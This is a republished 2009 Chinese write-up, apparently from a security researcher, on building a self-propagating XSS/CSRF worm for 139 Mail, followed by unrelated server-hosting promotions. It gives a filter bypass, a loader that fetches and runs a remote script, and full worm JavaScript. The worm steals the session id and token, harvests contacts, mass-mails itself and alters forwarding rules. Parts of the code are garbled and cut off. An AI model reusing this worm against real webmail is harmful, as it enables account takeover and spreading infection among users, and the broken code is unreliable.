139邮箱蠕虫编写实例

139邮箱蠕虫编写实例

Author:[sh0wrun],[woyigui]

Date:2009-09-09

声明:该漏洞已报告并已修复,切勿用于非法目的。

原理分析: 

我们经常会用到的mail.139.com,由于对邮件正文过滤不严,导致存在xss漏洞。他们尽管实现了对style=”xss:expression”进行过滤,但是可以通过添加/*  */绕过,如:。在添加/* */后,该脚本能够在IE浏览器执行。
同时,经过分析发现,mail.139.com中发送邮件的功能存在CSRF弱点;可以通过Ajax技术获取发送邮件所需要的mid值。另外邮箱的“通信录“中的联系人邮件可以直接通过javascript取出。
满足了编写csrf worm的3个条件,接下来的工作,就是通过编写javascript代码来实现了。

跨站代码:

该部分要实现的功能就是,触发浏览器去读取远端的js脚本,并且执行该脚本:

Original:

var ig =document.createElement(“script”);ig.src=”http://192.168.9.104/woyigui/139.js”;try {document.getElementsByTagName(“body”)[0].appendChild(ig);} catch (e) {document.documentElement.appendChild(document.createElement(“body”));document.getElementsByTagName(“body”)[0].appendChild(ig);}

对该部分编码按照10进制进行编码,以避免关键字被替换,并调用:

该部分代码,需放置在邮件正文中传送。

脚本功能的实现:

主要实现了如下功能:

1.通过脚本,读取联系人的邮箱地址。

该部分信息,可以通过top.LinkManList.concat()获取。

2.通过脚本,获取sid值

该部分信息,可以通过window.top.location.href,配合正则表达式获取到。

3.获取发送邮件所需要的mid值

在获取到sid值后,通过script打开”写邮件”页面,读取mid值。

4.发送邮件

发送邮件功能只验证mid值,因此在获取到正确的mid值后,连同获取到的联系人一起,构造post数据,发送邮件。
5.改写邮件转发规则和自动回复规则

在有正确的sid后,构造post。

完整代码:

var xssed = false; 
if (typeof XSSflag != "undefined"){ 
  xssed = true; 
} 
var XSSflag = [ 
  {name: "version", url: "1.0"}, 
]; 
if ( xssed != true ) {   
  var xmlhttp; 
  //create XHR 
  function createXMLHttp(){   
      try { 
        xmlhttp = new XMLHttpRequest(); 
      } catch (e) { 
         var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0', 
                     'MSXML2.XMLHTTP.4.0', 
                     'MSXML2.XMLHTTP.3.0', 
                     'MSXML2.XMLHTTP', 
                     'Microsoft.XMLHTTP' ); 
        var success = false; 
        for (var i=0;i < XMLHTTP_IDS.length && !success; i++) { 
          try { 
             xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]); 
              success = true; 
          } catch (e) {} 
        } 
        if (!success) { 
          throw new Error('Unable to create XMLHttpRequest.'); 
        } 
     } 
  } 
  function domid (dourl) { 
    createXMLHttp();   
    var tmp = ""; 
    xmlhttp.open("GET", dourl, false);   
    xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;"); 
    xmlhttp.setRequestHeader("Connection", "close"); 
    xmlhttp.send(null); 
    setTimeout( tmp = xmlhttp.responseText,500); 
    return tmp;     
  } 
  function startRequest(doUrl, tomail, subject, Content, account, mid, sid ){   
    createXMLHttp();   
    var params = "funcid=compose&sid="+ sid +"&mid="+ mid +"&hidRemoteIp=&ishtml=y&optype=
send.x&idOpType=&text="+ Content +"&destcgi=
&funcid=compose&netfdrhost=&to="+ tomail +"&cc=&bcc=&subject="+ subject +"&year=
&month=&day=&hour=undefined&compinfo_minute=&chkHtmlMessage_text=y&chkHtmlMessage=y&ifsavetosent= 
   xmlhttp.setRequestHeader
("Content-Type","application/x-www-form-urlencoded;"); 
    y&account="+ account +"&destcgi=&netfdrhost=&split_rcpt=n&return_receipt=0&priority=0"; 
    
xmlhttp.open("POST", doUrl, false);   
xmlhttp.setRequestHeader("Content-length", params.length); 
    xmlhttp.setRequestHeader("Connection", "close"); 
    xmlhttp.send(params); 
  } 
  function doMyAjax()   
  {   
     var strPer = '/coremail/cgi/attachfapps'; 
     var tomail = '
     
      ;'; 
     var subject = "test20"; 
     var Content = "";
     var account = ""; 
     var sid = window.top.location.href.replace(/.*&sid=(.*)/,"$1"); 
     var tmpmid = domid("/coremail/fcg/ldmmapp?funcid=compose&sid=" + sid );   
     var mid="",text=""; 
     text=tmpmid.split("\n"); 
    for (var i=0;i < text.length; i++) 
    { 
      var patt=/name=\"mid\" value=\"/; 
      if ( patt.test(text[i])) 
      {   
        mid=text[i].replace(/.*name=\"mid\" value=\"(.*)\".*/, "$1"); 
        break; 
      } 
    } 
    var mail_address=top.LinkManList.concat(); 
    for (var i=0,len=mail_address.length;i
      
       ;"; } } try { startRequest(strPer, encodeURIComponent(tomail), encodeURIComponent(subject), 
      
     
encodeURIComponent(Content), encodeURIComponent(account), mid, sid );     
     } catch (e) { 
       alert("send data error!"); 
     } 
  } 
  doMyAjax(); 
} 

【编辑推荐】

  1. 深入了解网络中的蠕虫病毒
  2. Conficker蠕虫作者可随时引爆“网络核武器”
  3. 风暴蠕虫可能向安全人员实施报复性攻击

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/131500.html<

(0)
管理的头像管理
上一篇2025-02-26 14:03
下一篇 2025-02-26 14:05

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注